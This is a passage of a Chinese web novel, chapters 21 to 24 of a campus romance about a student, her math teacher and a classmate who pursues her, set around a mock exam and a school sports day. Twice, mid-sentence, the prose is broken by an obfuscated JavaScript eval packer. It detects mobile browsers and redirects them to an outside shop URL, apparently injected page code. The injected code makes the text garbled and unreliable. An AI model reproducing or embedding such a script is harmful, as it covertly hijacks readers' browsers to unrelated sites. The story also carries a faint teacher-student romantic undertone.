问了话却不打算负责任? 甚是可爱。 经过了思想斗争,赵栩在心里默默列举了许多可怕的后果,包括不限于: 这个人就是来碰瓷的,给钱只有一次和无数次。 这个人要讹诈他…… 这个人对她意图不轨…… 她越想越害怕,把眼前男生无限地丑化,甚至都给他安排上了通缉犯的身份。 在认定对方是社会不安定因素后,赵栩心里慌得不行,手心冒汗,不敢抬头看他。 还好让她想出了脱身之法。 赵栩清清嗓子,故作镇定,拿出手机。 “说一下姓名和手机号,我会联系你。” 徐仲仪猛地抬眸望向她,似是被逗笑了,眼底的阴云一扫而空。 他信以为真,终于展露笑颜,报了一串数字,然后一字一字,生怕她听不清楚,认真说出名字: “徐仲仪。” 赵栩其实只是装模作样在打字,根本没记任何东西,可是戏还是要象征性演一演。 “后面两个字怎么写?”她故作疑惑,眨了眨眼。 徐仲仪语文功底一般,想了想,呆不愣登地说:“单人旁加一个中间的中,单人旁加一个义气的义。” 听到这个没文化的答案,赵栩忍不住笑出了声,又怕被报复,赶紧抿起笑意保持严肃。 “笑什么?” 徐仲仪一点都不生气,饶有兴味地盯着她。 “嗯……”赵栩稍作反应,急中生智,开始一本正经胡说八道: “我就是觉得,你的名字起得挺有福气的。” 徐仲仪挑起眉头,眼底笑意加深,期待她的回答。 赵栩硬着头皮瞎编:“你已经姓徐了,又叫仲仪,名字里有四个人。” 徐仲仪问:“所以?” 赵栩索性做戏做足,注视着对方,眼神忽然无比真诚,说: “也就是说,你的生命里…… “会有四个人特别爱你!” 她说这番瞎话时,笑得乖巧,连带着头顶上那盏灯光,都温柔了起来。 双手背在身后,像是藏了一个天大的惊喜。 徐仲仪怔怔地望着那双澄澈的眼睛,缀满点点光华,消融了冬的孤寒。 不知怎的,他忽然就走不出来了。 在这几天,十几天之后,实心眼的男孩都在等着女生联系他,甚至多番懊恼,为什么没有留她的联系方式。 可是……对方仿佛忘了这件事,再也没有联系过他。 徐仲仪再傻都该反应过来,女孩摆明了就是在骗他! 欺骗他的感情! 徐仲仪气恼之余,很快打听到了女孩要报考的学校,并且以此为动力,通过体育特长成功上岸! 入学之后,与她多次擦肩而过,而对方都没有认出他,完全把他这个人抛之脑后。 实际上,由于那天天色已晚,赵栩没看清他的长相,名字也是没多久就忘了。 念念不忘的,自始至终只有徐仲仪一个人。 他偶尔会像个怨男,抱怨赵栩为什么要骗他。 更多的是自我反省,为什么自己没有长得特别帅,让她一眼就记住。 至于那个有关名字的笑话,更是让他记了许久。 徐仲仪不想让四个人爱他,因为他无福消受。 他只想,对她一个人好。 22. 四月物语(1) [在橘子花落的时节,我把心动写进信纸,借口是赠予春天,可是它迟迟落在了夏日。] ——评《四月物语》 又是一个礼拜一,赵栩坐在餐桌前目光呆滞,妈妈和妹妹都在吃早饭,只有她在发呆,对着煎蛋和培根食不下咽,神思早已飞到了外太空。 确切的说,是因为她在梦里吃得挺好,乍回到现实当中有点落差。 收到礼拜六那顿晚餐的影响,她的梦里都在大吃特吃。 她只记得梦境当中,面前摆了一个八寸左右的盘子,上面摆满了被人剥好的海鲜:水灵灵的牡蛎肉、肥美的蟹腿、完整去壳的大龙虾、新鲜满籽的北极虾…… 都不用她上手操作,早就有人帮她去壳,她只管吃。 且依稀记得,那几只北极虾又甜又鲜,实在仙品。 梦中的赵栩正吃得不亦乐乎时,忽然又有一只蟹腿放到了她的盘子里。 “慢点吃。” 那人声音模糊低沉,像是有什么魔力,促使她抬起头……看不清楚脸的男子,依稀可见眉目温柔。 那双摄人心魄的桃花眼,看得她心神一恍。 然后,梦醒了。 “姐姐!”妹妹赵柠使劲拍了一下出神的姐姐,赵栩惊得肩膀一耸,手猛然一抖,筷子差点掉到地上。 “姐姐,你在想什么?”赵柠眨着一双圆溜溜的葡萄眼,向其投去审视的目光,并上手捏了捏她微微发红的脸。 对于凭空梦见老师这件事,赵栩心虚得不行,思前想后,可能是那天吃的多了点,加上坐在副驾驶空气不流通,略微让人头脑不清醒,属正常现象。 她沉吟片刻,捏了捏妹妹的小手,故作有底气:“梦见你和其他小朋友打架,我被你们班主任叫去幼儿园。” “是吗?” 也就六岁的小孩好骗,小赵柠咬住勺子,故作深沉地点点头,算是接受了这个说法。 小朋友叉起煎蛋,单手撑着下巴,天真地笑了笑:“我还以为,你在想喜欢的男……” “你胡说什么!” 赵栩慌了手脚,微卷的发丝都随之炸起,连忙捂住妹妹那张不知轻重的嘴。 她的心跳倒是不曾漏拍,听到这番胡话后就一直在抢拍。 正在打闹的姐妹两人,吸引了赵梧楠的注意,她缓缓抬眸,盯着大女儿笑而不语。 “怎……怎么了。”赵栩低下头,心不在焉地拆分着西兰花。 赵梧楠把卷发撩到肩膀后,不由得打趣道:“都是大姑娘了,不用这么不好意思。” “你已经成年了,如果有喜欢的男生,妈妈支持你谈。” 赵栩把第二讨厌吃的西兰花艰难地放进嘴里,蹙起眉头嚼着,含含糊糊地“嗯”了一声。 提到“恋爱”这个话题,她倒是没有多大感触,只是她最近隐约感觉到: 妈妈好像谈恋爱了。 她的妈妈今年才三十六岁,本就生了一张娃娃脸,加之保养得当气质又好,看起来就和二十多岁没什么区别。 据赵栩所知,妈妈身边从来不缺追求者,至于为钱还是为貌…… 想到这里,她愈发觉得西兰花苦得可怕,更吃不下了。 …… 揣着两桩心事,赵栩前两节课过得有些心不在焉,第二节课后的大课间,她没有像往常一样去办公室问题,而是默默坐在位置上改错题。 她的不自在,就连韩明月这种粗线条的人都看出来了,关心道: “怎么了栩栩,是不是被期中成绩愁的。” 赵栩苦笑了一下,原本的两件心事瞬间变成三件。 因为数学做题布局不对,明明很简单的题目,让她一手好牌打得稀烂,只考了121分。由此造成了连锁反应,她这次离开了年级前二十,在班里也只排到了第三名。 韩明月见朋友更加苦闷了,挑了挑眉毛,打算分享有趣的事。 “这个周末,我去商场买东西,碰见一个帅哥,长得可帅了!!!”她满脸亮晶晶的笑意,心驰神往。 依照赵栩对她的理解,韩明月认知中的帅哥,不亚于薯片袋里的空气,虚空且多。 韩明月看她不相信,打了个响指,“是不是不相信?”然后拿出手机,翻出照片,近乎骄傲地介绍:“我去拿泡面的时候,盒子不小心掉了,就是这个人帅心善的小哥哥,帮我捡起来的。” 赵栩怀着见怪不怪的心思,没抱什么大希望,稍微偏头看了一眼,随后眼睛肉眼可见地瞪大。 “行啊你,这个长得是真帅。” 她不得不承认,照片里这位尽管是偷拍的角度,但依然能抗住后置摄像头和死亡视角,不难看出他的长相极其出众:他的眉眼生得好看,一双凤眼淡漠清冷,故事感极强。五官精致中不失英气,冷白肤色在灯光的映照下更是白的发光。 从某种程度上说,算是长在她审美上的那一类。 “行啊栩栩,这难得有能入了你的眼的。”韩明月坏笑一下,“我打听过了,是师大附中的,高二年级第一,叫邵渝。” 韩明月正眉飞色舞,手指不小心划过屏幕,照片紧接着切换成了下一张。 赵栩暗自好笑,心道就说韩明月的相册里藏了一整个选秀节目。 只见换成了一张青涩帅气的男高,身穿四中高一的校服款式,笑得乖巧,颇有几分小奶狗的感觉 韩明月有些心虚,立马抬手就遮,却还是被赵栩看了个清楚,不禁调侃:“什么好东西别藏着掖着,给咱姐妹分享一下~” 她们讨论着帅哥,根本没有注意到数学老师走进了班里,还抱着厚厚的习题册和一套卷子。 原本第四节课不上数学,调课之后变成了三四节连堂。 秦暮野仔细看着期中考试的数学成绩单,打算趁着第三节课做练习卷的时间,分批叫几个成绩不理想的学生出去分析试卷。 “齐舒,赵栩,拿着试卷和答题卡出去。” 齐舒正在整理笔记,听到老师的话立刻起身。而赵栩却没有听到,她一门心思和韩明月聊着八卦,暂时把成绩上的烦心事丢到了一边。 “你说说这些小帅哥们,在最丑的年纪还能长这么好看。” “我听说啊,长的特别帅的这些还会被富婆看上……嗯。”韩明月专注于分享,完全忽略了来自不远处的注视。 赵栩抓住了话里的重点,停顿片刻重组三观,惊讶道:“才高中生,那些有钱人真是禽兽。” “你这就不懂了吧。”韩明月狡黠一笑,有理有据分析起来:“又不是强买强卖,怎么不行呢?” “换言之,等你将来有钱了,什么男高男大,谁长得帅就安排谁,我支持你一周换四个男朋友。” 她说到开心处,仿佛已经能展望到将来的幸福生活了,嘴角疯狂上扬,顺势拍了拍朋友的肩膀。 听到如此虎狼的发言,以往的赵栩或许会感到尴尬,但现在的她显然近墨者黑,跟着笑出了声,开起玩笑:“格局太小,八个吧。” 她才说完,冷冽的香气忽然包围了她,赵栩立马收起笑容,装模作样地开始学习。 韩明月丝毫没有意识到身后犀利的目光,又指了指手机,自顾自说道:“这不必须苟富贵勿相忘吗?” “刚才那个小奶狗是我的,师大附帅哥归你……” 几句话,就把身边罕见的帅哥安排得明明白白。 “赵栩,拿着卷子和答题卡出去。”秦暮野把视线从手机屏上移开,声音冷淡,又重复了一遍。 赵栩闻言一慌,笔差点都没拿稳,赶紧抄起试卷和笔记本就溜了出去,最后留给韩明月一个自求多福的眼神。 可是韩明月的错觉,她觉得今天的老师格外不好想与,小声辩解:“老师,现在是课间时间,我和栩栩说说话,放松一下。” “放松一下。”她又强调。 秦暮野不置可否,临出去之前只说了一句: “第四节课我要讲卷子,先试着把期中卷上的错题重做一遍,选填当大题做,晚修我来找你。” “知道了……”韩明月垂下脑袋,暗暗叫苦,心道老师摆明了就是难为她,这么多错题哪能这么快改完? 看帅哥的时间是没有了,她也不敢再带别人看帅哥了,只能抓紧时间改题。 …… 等待老师的功夫,赵栩在门口整理着错题,想着方才讲的那些狂言狂语被人听去,尴尬到想要扣地板。 带着这种内耗的情绪,本来就偏难的填空最后一题,更改不出来了。 虽然答案纸在一考完试就发下来了,但她始终没有勇气面对那份做得稀烂的试卷,逃避了许久,直到今天这份期中卷才从桌洞里重见天日。 而数学老师和其他任课老师不同,通常是等考试成绩出来了,也就是相应的小分都有了,才会开始讲解试卷,估摸着老师会在下节课讲卷子。 旁边的齐舒是个寡言内向的女生,与赵栩并不相熟,两人从成为同学以来,讲过的话不超过二十句,所以赵栩打消了向她请教的念头。 秦暮野把练习卷发下去之后,安顿好了班里事务,然后轻轻带上门,询问走廊里的两个学生: “有没有重写最后一道大题?” 班里唯二按照顺序做题,以致没答完卷子的两位,被他单独叫了出来。 齐舒点点头,赵栩把卷子偷偷折起,也跟着浑水摸鱼点头。 作为老师,秦暮野很快就捕捉到了学生不自在的神情,看向赵栩,而后者目光闪躲。 “把你的卷子给我。” 他的语气还是如同往常那般无甚起伏,仿佛他们之间上周六短暂的熟络,像是没发生过。 此时赵栩骑虎难下,只能犹犹豫豫地把卷子交了出去,然后耷拉着脑袋,等待发落。 “我没有看出改过错的痕迹。”秦暮野把卷子翻来覆去仔细浏览了好几遍,得出结论。 赵栩攥紧了答题卡,敢直视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641031|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师的眼睛,支支吾吾了半天也说不出话。 秦暮野不嫌多难为她,大概也能猜到她是不想面对那份带给她败绩的试卷,于是顿了顿,语气略微和缓:“一刻钟的时间,先写这两道题。” 下完指令后,他先给另一个学生分析试卷,而赵栩把卷子垫在笔记本上,再次审视起了这两道题目。 已经快迈入初夏,可是天气并不炎热,晴云缓缓流淌,忽有疾风起,打散了天边的云,如轻烟一缕飘散。 赵栩深吸一口气,企图让自己面对这份“耻辱”时冷静下来,开始认真地审题,铺开空白页,掐点重新写一遍。 这一刻钟里,她完完全全沉下心来,听不到其他人的声音,唯有丝丝花香味分明。 摒弃杂念之后,在约定的十五分钟之内,赵栩做题的时间绰绰有余,在老师还在给同学分析试卷的空档,她不禁看向窗外,放松心情。 走廊的窗开了一半,能清晰看到疾风乍起时,橘子花花瓣纷飞缭乱,在数米高空兜兜转转,不肯落尘。 像是在夏天下了一场不合时宜、却强加温柔的雪。 赵栩将手里的笔立起,想要用笔去串联飞舞的花瓣。 隔着光影的飞花,就这样错位落在她的笔尖,辗转成一句隐晦的诗。 “写完了?” 秦暮野见她对窗外的风景兴致盎然,还是出言打断。 赵栩蓦地转头,才发现走廊上只剩他们两个,于是连忙放下笔,把写满答案的纸递了过去。 秦暮野拿起红笔,把卷子铺在窗台上,依据得分点步步批阅。 赵栩专注地看着自己的得分和扣分项,视线微微一片,注意到了他手里的红笔。 那是一支再普通不过中性笔,可是在她看来,怎么看怎么像梦里的螃蟹腿。 秦暮野很快就批阅完了,将试卷推向她那边,赞许地点点头,“这才是你的正常水平。” 满分12的圆锥曲线大题,原本因为时间限制只得了2分,经她重做之后拿到了10分,剩下两分扣在分类讨论上。 她虽然能把这道题做得很好,但仍掩盖不了考试丢分的事实,想到这里,赵栩眼里的光也黯淡几分,不由得低下头去摆弄手指。 手腕处的橘子花手串,配件碰撞发出清脆的声响,而一片新绿的光斑却跟随着她的心情,沉闷无比。 秦暮野双手撑在窗台上,看似在看试卷,实则已经注意到了她写在脸上的遗憾。 “把答题卡给我。”他转头看向赵栩。 赵栩不知所谓,愣愣地将答题卡递了过去,眼睁睁地看着老师在她的答题卡上,写了一个130分。 “记住这次的教训,下次肯定会比这个高。”秦暮野浅笑以示鼓励,随之笑容淡了几分,加重语气:“前提是你要直面自己的错误,不要逃避。把卷子丢在一边不看解决不了任何问题。” 赵栩轻声应下,实际上此时倒是没思考逃避不逃避,而是在做简单的算术题: 已知她考了121分,最后一道大题原来只有2分,重做后10分,不是应该只加8分合计129分吗? 多出的1分哪里来的? 秦暮野没注意到她正在走神,而是继续说:“你如果不想自己解决,或者没法解决,可以随时找老师。” “嗯……” 学生略微犹疑的神色,打断了秦暮野的思路,他转而问:“怎么了?” 赵栩迟疑稍许,还是决定提出错误,直接说:“老师,您算错了,应该只有129分。” 听到这么直率的话,秦暮野先是一愣,然后轻声笑了笑,看着她一头雾水的表情,暗自思忖: 真是实心眼,想四舍五入多给一分鼓励鼓励还都不行。 不过片刻,他就意识到了自己的错误,若无其事点点头,“是我算错了。”正要拿笔去改,赵栩却抢先一步抽走答题卡。 “这样就挺好的,谢谢老师。”她生怕老师反悔,抢先一步回了班。 赵栩进班时,与齐舒擦肩而过。 齐舒方才进班后,忽然想起题目里的疑问,本想折返回来请教不明白的地方,走到门口时不禁驻足。 透过玻璃看着两人的互动,她心里有着说不出的怪异,心底升起一丝异样。 她就这样漠然静观,没有上前打扰,直到同学回班。 赵栩当然没有注意到身后的注视,而是快步回到位置,找出卷子夹,依照惯例将答题卡整理到一处。 可是她刚把答题卡放入,停顿片刻,又把答题卡抽出,转而放在了透明的塑料桌垫下面。 到期末考试前的日子,就用这个虚假的130分鞭策自己吧,她想。 赵栩望着答题卡上遒劲有力的笔锋,神思微恍,然后嘴角扬起一丝笑容。 如果这次她真的考了130分,亦或是高于130分,是不是就能得到更多的夸奖了? 很奇怪,就此一瞬间,她好像没有那么讨厌数学了。 23. 四月物语(2) 期中考试结束后不久,四中迎来了一年一度的运动会。 一大清早,还没到七点钟,学校里回荡着澎湃的锣鼓声,操场上的学生慢慢多了起来,看台上被不规则的色块渐次填满,那是区分各班走方队的演出服饰。 本次运动会是以“童话故事”为题,介于这个选题过于宽泛,有的班级直接白短袖黑短裤上去走一圈了事,有的班级则是斥巨资认真准备。 二班同学选择了《长发公主》这个主题,演出倒不是侧重于呈现故事原貌,更多的只是渲染那个氛围。 经过班委商议决定,最终选定了赵栩作为举班牌的“乐佩公主”。 二班女生偏多,大家都很注重仪式感,对于本次开幕式断然不会糊弄了事,而是使出了十二分的精神准备,而头一件事: 就是好好装点门面。 所以不到六点钟,女生们就到了班里,耗时一个小时,为赵栩画了一个美美的“白月光系妆容”。 赵栩的素颜就已经很出挑了,经过认真的打扮之后,更是让女生们萌生出装扮了一件艺术品的成就感。 她的眼睛本就大而有神,通过韩明月精良的化妆技术,起到了锦上添花的奇效。 女孩不过淡淡一瞥,却是眼波微横,哑光偏粉的眼妆,远远看去眼尾红红的,有种精致的破碎感。 “栩栩你知道吗,你往主席台前一站,比校长都风光。”韩明月对朋友的颜值给予充分肯定。 “再穿上那件紫色连衣裙……哇塞!”她一脸神往,拽起赵栩的手就把人往洗手间带,已经迫不期待了。 纵然赵栩心有踟躇,但还有半个小时左右就要到集合的时间了,不容她拒绝,只能半推半就地去往洗手间。 一想到那件紫色抹胸礼裙,她就社死得不行。 开幕式彩排时穿的是校服,她还没有多大感受,可临到了要换上连衣裙,她就开始紧张了。 带着些许尴尬,她在洗手间换衣服的时候,都浑身不自在,像只提线木偶被朋友们操作着。 “好啦!”韩明月替她拉上背部的拉链后,眨了眨闪着笑意的眼睛,盯着她久久移不开眼。 赵栩被看得有点不好意思,别开目光,小声问:“怎么了?” “栩栩!你太美啦!”韩明月直接把人搂住,脸贴着脸,蹭了两下。 香香软软的大美女,任谁都想贴贴。 “化了一个小时妆,别给蹭掉了。”朱临清把韩明月扯开,然后看向镜子里的赵栩,点头笑了笑,“这必须我们班最高分啊!” 赵栩端详着镜子里的自己,美则美矣,但乍然穿上这身礼服,总有种说不出的不协调感。 基于成长环境,她的观念还是趋向保守,短裙吊带之类的衣服就几乎没有穿过。第一次穿这件对于她来说有点“暴露”的衣服,让她有点无所适从, 她冲着镜子里的自己点点头,用手捂在胸前,深吸一口气,像是下定决心:“我们走吧。” “这件衣服就是这么个设计,不用不好意思。”朱临清看出了她的疑虑,宽慰道。 抹胸长裙衣领偏低,领口处露出了优美白皙的锁骨。 韩明月轻拍了一下赵栩,然后做加油手势,“咱要大大方方的!自信放光芒!”然后一本正经起来:“现在的婚纱大概都是这种设计,你现在就害怕,将来结婚的时候怎么办?” 赵栩对这番超前的言论无言以对,抿唇笑笑。 而朱临清很是无奈,理了理干练的短发,对此回应:“你不觉得你考虑的有点远吗?” “那还远?就差不多十年后的事。”韩明月为自己狡辩,把两只手覆在脸上,神思早已远走高飞。 她全然不顾朱临清无语到极致的表情,自顾自道:“将来我俩还要给你当伴娘呢~” 赵栩虽然没有结婚的打算,可听到这句话还是心里一暖,压力也没有那么大了,可以不那么瞻前顾后地往外走了。 往操场走的时候,她一身优雅淡紫长裙,加之过于出众的美貌,自然是吸引了很多人的注意,甚至有人拿出手机拍照。 若换作平时,赵栩或许会下意识躲到一旁。 可是今天不同,与她并肩行走的,是能带给她无尽安全感的两个人。 …… 还有不到一刻钟开幕式就要开始,操场上洪亮的进行曲振奋人心,各班的方队基本已经站好。 作为二班数学老师的秦暮野,在班主任祁老师的邀请之下,和班长朱临清一起,负责给二班拍照。 秦暮野自己就不喜欢拍照,更何谈给别人拍照。 他本来想婉拒的,奈何祁老师非说“他长得高,视野广,拍照效果好”,只得临时学习了几天,甚至买了个一万多的富士相机来练手。 场内嘈杂声震耳,秦暮野却充耳不闻,沉浸式调试相机。 他举起相机,朝向红色跑道,企图在纷繁复杂的场景中,找寻到能让他按下快门的契合点。 就在这时,一个紫色的身影,却闯入了镜头里。 女孩气质温婉典雅,仿佛自带光环,与周遭的吵闹隔绝,“公主”这个形容词此刻具象化。 她提着裙摆缓步而来,一身宫廷风的雾霾紫长裙,温柔雅致。手腕处的橘子花手链绿的清新,与裙摆浪漫的紫相得益彰。 那张清纯美丽的脸庞,被盘发处几绺落下的碎发妆点,灵动的眼睛藏着丛林里出逃的小鹿。 而小鹿踏碎了覆雪的湖光,不染尘世,陷进去了就再难抽离。 “来了来了!” “我去,仙女下凡了!” 不仅是二班的,隔壁班的都把视线聚焦到赵栩身上,开幕式还没开始,她就成为了现场的焦点。 秦暮野的手指拂过快门键,却将镜头上移,去拍蓝天。 “老师这有个现成的人不拍,你拍什么天空啊?”韩明月见他无动于衷,不由得奇怪。 许是保持仰望的姿势,秦暮野忽觉眼里吹了冷风,澄澈之蓝映在天际,转了个来回,顺势搅动那双桃花眼里的光。 他放下相机,淡声回答:“今天天气不错。” 赵栩握着班牌,闻言手里一紧,不知怎的被气笑了,暗自腹诽: 天空值得拍,她就不值得? 阳光拨开了最后一层薄云,撒下的光芒蓦然照亮操场,大家皆是两眼微眯,感受着炎热的前兆。 开幕式如约而至,高一高二各十二个班级,按照顺序走方队,表演完之后推至主席台前站好。 等到高二上场演出才将将过半,观众们不免审美疲劳,可是当背景音乐切换为悠扬的曲目,赵栩穿着淡紫长裙,踏着歌曲出场时,现场的气氛又被调动起来。 “好好看啊!” “哪是谁啊?赛后想去要个微信。” “要不要和我一起去拍美女……” 秦暮野手持照相机,在跑道内侧跟着二班大部队走,正准备找一个适合拍照的位置,忽然有两个男生不知从哪里冒出来,拿起手机也打算拍照,这让他觉得很碍事。 他仗着长得高又腿长,向左前方一步迈,把身后两个想要拍照的男生挡得死死的,随后在两个男生抗议的眼神中,若无其事举起照相机。 挡住那两个男生也没别的什么意思,只是单纯觉得那个视角适合拍照。 举着班牌的赵栩,在正向的心理暗示下,笑得从容自信。 这一笑像是为灿烂落笔,把夏日的明媚书写。 她扭头注意到,举着相机却不是很专业的数学老师,眉眼微弯,向着镜头所在的位置,像明星似的挥了挥手。 秦暮野盯着屏幕,凝神屏息之间,睫毛似乎到要扫到相机上。 今天的阳光格外澄澈,宛如泛着金光的毛绒绒,四处跳跃。 正当赵栩走入那片金丝绒时,他忽觉手指同沐阳光,刹那间找到了适合的角度,按下快门。 拍完之后,他松了一口气,暗道终于算是完成了任务。 可待她调出照片查看成果,不禁蹙起眉头…… 开幕式的演出环节结束后,就是校长和学生代表讲话,各班仍要保持列队,在下面聆听。 今天的天气真可以用“阴晴不定来形容”,倒是没有下雨的迹象,只是上一秒阳光万里,下一秒天空便聚拢起厚重的云层,遮挡阳光。 随之而来的,是不消凉意的习习微风。 赵栩正好站在风口处,身上这条裙子比较单薄,整个肩膀又是露着的,冷风扑了过来,让人为之一颤。 她下意识搓了搓胳膊取暖,忽然一个高大的身影挡住了风口。 赵栩抬眸看向右前方,发现他正在低头摆弄着照相机, 风吹过来的方向,依稀有淡淡的水生香。 秦暮野忙着调整参数,微风却掀起了他的衣摆,他像是感受到了什么,手中动作一顿,回过身去。 与以往衬衫西装的沉稳感不同,他今天的穿着休闲,淡蓝色的衬衫内搭白T。 赵栩逆光看去,仿佛听见了海的声音,因为在他的眼睛里,能看到海洋深邃宁静的模样。 对视的时间只有一瞬,却足以让游鱼折返两次。 秦暮野转过身去,接着调试参数,再度把镜头瞄准天空时,却追不上飘忽的云。 站在赵栩旁边的朱临清,发现了朋友在出神,以为是她冷的说不出话,打算转身回看台去拿校服外套。 她刚走出去没两步,徐仲仪就匆匆赶来,手臂上搭着一件校服外套,径直走到赵栩身前,把衣服递给她。 “穿上吧。”他轻声说道。 徐仲仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641032|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是体育部的,所以不用站在队列里,他在站台上全程盯着赵栩,自然是一清二楚。 赵栩摇摇头,“谢谢你,不过很快就结束了。” 两人之间本来就有些莫须有的绯闻,她更不能接下他的衣服。 “他们还有二十多分钟才能讲完呢,要是现在冻着了,待会儿怎么比赛?”徐仲仪坚持要把衣服给她,难得郑重其事。 赵栩还是不想接,面露为难:“真的不用了。” 两人就这么僵持着,徐仲仪大有“你不接我就不走”的意思,而赵栩不肯接受他的好意。 一旁的朱临清看不下去了,一把拿过徐仲仪手上的外套,直接搭在了赵栩的肩头。 “你就别客气了,马上又要去学农,把自己冻感冒了怎么和我们一起玩儿?” 赵栩被说服了,又点头向两人致谢,然后转过身去接着听学生代表发言。 校服的原主人火力较旺盛,明明只是普通的尼龙材质,却像是一条散发着热气的大毛毯。 她披上不一会儿,额头都冒了汗,因为能很好地阻挡寒气,她悄悄裹紧了些。 果然如徐仲仪所说,领导和学生说了好一会儿场面话,还是没有结束的苗头。 赵栩裹着衣服,眼神不自觉地瞟过斜前方,看到那人还在操作照相机,连背影都透露着认真的笨拙,总觉得有意思得很。 她忽然很期待,自己在他的镜头里,会是什么样子? 想到这里,一缕碎发被清风吹落,像是有温度的手指,轻抚过她的脸颊,留下轻微的酥痒感。 仔细想想,似乎也就开学那阵,数学老师总喜欢穿衬衣和西裤。时间久了,他也开始穿休闲的衣服。 可能是夏天快到了,他也嫌热;亦或是他的家里没有那么多正装,总穿一样的终究换洗不过来。 现在的赵栩是这么认为的。 可实际上,秦暮野刚开学的时候选择穿正装,仅仅是因为不知道该穿什么,他的西服衬衣又有十几件可以换。 不过随着时间慢慢推移,他当老师的心境似乎不一样了,不再把老师仅仅当成一份职业,他也能从这份职业中获得快乐与满足感。 习惯成自然,久而久之,他对穿衣服就没那么拘束了,得体就好。 赵栩正沉浸在自己天马行空的思维里,丝毫没有注意到,站在身后的徐仲仪,已经注视着她许久。 他拧起浓眉,视线在前方转了几个来回,眼里的笑意慢慢褪去,乖戾之色慢慢加深,几次克制住了要往前走的冲动。 在男孩的眼中,喜欢的女生总把目光聚焦在别人身上,尽管那个人是老师……可还是会让他不舒服。 …… 二十多分钟之后,校领导终于念完了手中长长的稿子,宣布运动会开始。 一片掌声雷动过后,学生们纷纷散开,主要分三波行动:看台上的观众、操场内准备比赛地运动员、以及操场外。 因为二班女生较多,女生的项目总能报满,所以赵栩只报了跳远一个项目。 时间已经不算宽松,半个小时后就要去检录处检录,因为操场内洗手间人太多,她打算去教学楼的洗手间,换下这身笨重的裙子。 韩明月有跑步项目,所以朱临清陪赵栩去教学楼,两人结伴往操场出口处走时,操场已经开始准备封锁了,再之后的人估计就要凭出入证出去。 两人加快速度,打算抢在拉线之前出去,可终究是晚了一步,被拦在了警戒线后面。 “同学,我们接下来有比赛,能不能让我们过去。”朱临清压抑着不满,却还是让自己看起来和颜悦色一些。 那个体育部的男生一副无所谓的表情,“已经到点了,按照规定就是要拉线。” 赵栩心道这个人甚是莫名其妙,加上天气又热,有些不耐: “同学,刚才在我们前面的两个人你都放出去了,明明都到了规定的点,为什么区别对待?” 男生本想反驳,却发现关注已久的紫裙美女近在眼前,眼睛盯着赵栩一动不动。 “抱歉啊学姐。”男生讪讪地道歉,随后拿出手机,“学姐,我有个朋友很喜欢你,你能和我合张照吗?” 赵栩和朱临清相视一眼,不约而同地想: 这哪里“有个朋友”?分明就是想合照的借口。 赵栩从前也被要过合影,那都是限于女生,男生一般会委婉拒绝。 她笑了笑,像以往那样婉拒:“抱歉啊学弟,我不太喜欢拍照。” 男生面露落寞,本想再请求一下,张了张嘴还是算了,把手搭在警戒线上,正要扯开…… 一双骨感有力的手压在了警戒线上,那个熟悉的阴鸷声音冷不丁响起,让两个女生浑身发冷。 “回去拿通行证,不然不放人。” 24. 四月物语(3) 赵栩和朱临清再次对视一眼,无奈到了极点,心想今天是什么日子,许久不见的麻烦又找上门来了。 还好韩明月不在,不然指不定要被前男友怎么为难呢。 柯明扬双手压在警戒线上,冷峻神情看起来十分不好惹。纵然像朱临清这样酷酷淡漠的性子,都忍不住让他三分。 “回去吧。”男生毫无感情地瞥了她们一眼,像是在看两个物件。 赵栩怒极反笑,心想没见过这么小心眼的男生。 挤兑前女友,挤兑前女友的朋友。 她也顾不上时间紧张了,只想和他论个高下。 “你这个人真有意思,公报私仇呗?” 柯明扬并不搭她的话,幽深的眼睛划过一抹冷笑:“你们的队伍是不是少了一个人?” “估计一刻钟后跑步就结束了,你们和她一起来,说不定就能出去了。” 换句话说,他只要韩明月来。 “你什么人物让韩明月亲自来?”赵栩提高声调,也顾不得礼貌了,直接回怼。 朱临清扯了扯朋友的袖子,轻轻摇头,以眼神暗示: 这个人精神状态不稳,和他讲道理没用的。 对于旁人,赵栩或许还能装出笑脸,但是鉴于面前的男生总是纠缠她的朋友,她早就没什么好脸色。 两方就这么对峙着,学弟不知前因后果,进也不是退也不是。 “怎么了这是?”徐仲仪自不远处而来,先看了看赵栩,又不解地看向朋友。 短跑的检录处离入口处不远,他在做准备活动的时候,就注意到赵栩在这里站了许久,于是上前来看。 赵栩轻笑一声,冲姓柯的扬扬下巴:“你先说啊,恶人先告状。” 徐仲仪算是明白过来了怎么回事,上前拍了拍柯明扬的肩膀,安抚道:“哥们儿,就当给我个面子,让她们过去吧。” 柯明扬挑起眉毛,本想说“我为什么给你面子”,然后徐仲仪就靠近他,用只有他们能听到的声音说: “等我追到赵栩,就帮你追回韩明月,互相帮助嘛!” “……”柯明扬依旧是那副看世界不爽的表情,思忖片刻,神情稍缓,而后解开警戒线,唯一偏头,示意两个女生过去。 “谢谢。”赵栩咬牙切齿,瞪了他一眼。唯恐他反悔,赶紧拉着朋友过去。 待走出一段距离后,朱临清不免面露忧色,问:“栩栩,柯明扬是不是又要搞事?咱们要不要告诉韩明月?” 赵栩摇了摇头,“算了吧,别让她害怕。” 毕竟,被疯子缠上这种烦心事,还是能没有则没有。 经过这个插曲,倒是没有延误赵栩去检录,她换完衣服后,带着朋友一路狂奔进操场,还不忘再瞪一眼柯明扬。 